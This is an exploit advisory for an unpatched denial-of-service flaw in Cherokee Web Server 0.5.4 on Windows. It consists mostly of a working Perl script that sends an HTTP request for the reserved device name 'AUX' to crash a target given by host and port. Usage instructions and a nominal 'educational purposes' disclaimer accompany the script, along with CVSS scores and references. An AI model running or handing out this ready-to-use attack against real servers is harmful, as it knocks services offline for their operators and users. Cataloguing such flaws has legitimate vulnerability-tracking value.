Cherokee Web Server 0.5.4 Denial Of Service

2010-01-07 / 2010-01-08
Credit: usman
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-OTHER


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Disclaimer: [This code is for Educational Purposes , I would Not be responsible for any misuse of this code] [*] Download Page : http://www.cherokee-project.com/download/windows/ [*] Attack type : Remote [*] Patch Status : Unpatched [*] Exploitation : #!/usr/bin/perl # Cherokee Web Server 0.5.4 Denial Of Service # Disclaimer: # [This code is for Educational Purposes , I would Not be responsible for any misuse of this code] # Author: Usman Saeed # Company: Xc0re Security Research Group # Website: http://www.xc0re.net # DATE: [25/10/09] $host = $ARGV[0]; $PORT = $ARGV[1]; $packet = "AUX"; $stuff = "GET /".$packet." HTTP/1.1\r\n" . "User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n" . "Host:$host\r\n". "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n". "Accept-Language: en-US,en;q=0.9\r\n". "Accept-Charset: iso-8859-1,*,utf-8\r\n". "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n"; use IO::Socket::INET; if (! defined $ARGV[0]) { print "+========================================================+\n"; print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n"; print "+ Author [Usman Saeed] +\n"; print "+ Company [Xc0re Security Research Group] +\n"; print "+ DATE: [25/10/09] +\n"; print "+ Usage :perl sploit.pl webserversip wbsvrport +\n"; print "+ Disclaimer: [This code is for Educational Purposes , +\n"; print "+ I would Not be responsible for any misuse of this code]+\n"; print "+========================================================+\n"; exit; } $sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host , PeerPort => $PORT) || die "Cant connect to $host!"; print "+========================================================+\n"; print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n"; print "+ Author [Usman Saeed] +\n"; print "+ Company [Xc0re Security Research Group] +\n"; print "+ DATE: [25/10/09] +\n"; print "+ Usage :perl sploit.pl webserversip wbsvrport +\n"; print "+ Disclaimer: [This code is for Educational Purposes , +\n"; print "+ I would Not be responsible for any misuse of this code]+\n"; print "+========================================================+\n"; print "\n"; print "[*] Initializing\n"; sleep(2); print "[*] Sendin DOS Packet \n"; send ($sock , $stuff , 0); print "[*] Crashed :) \n"; $res = recv($sock,$response,1024,0); print $response; exit;

References:

http://xforce.iss.net/xforce/xfdb/53957
http://xc0re.wordpress.com/2009/10/25/cherokee-web-server-0-5-4-denial-of-service/
http://www.securitytracker.com/id?1023095
http://www.securityfocus.com/bid/36814
http://www.securityfocus.com/archive/1/archive/1/507651/100/0/thread
http://www.securityfocus.com/archive/1/archive/1/507456/100/0/threaded


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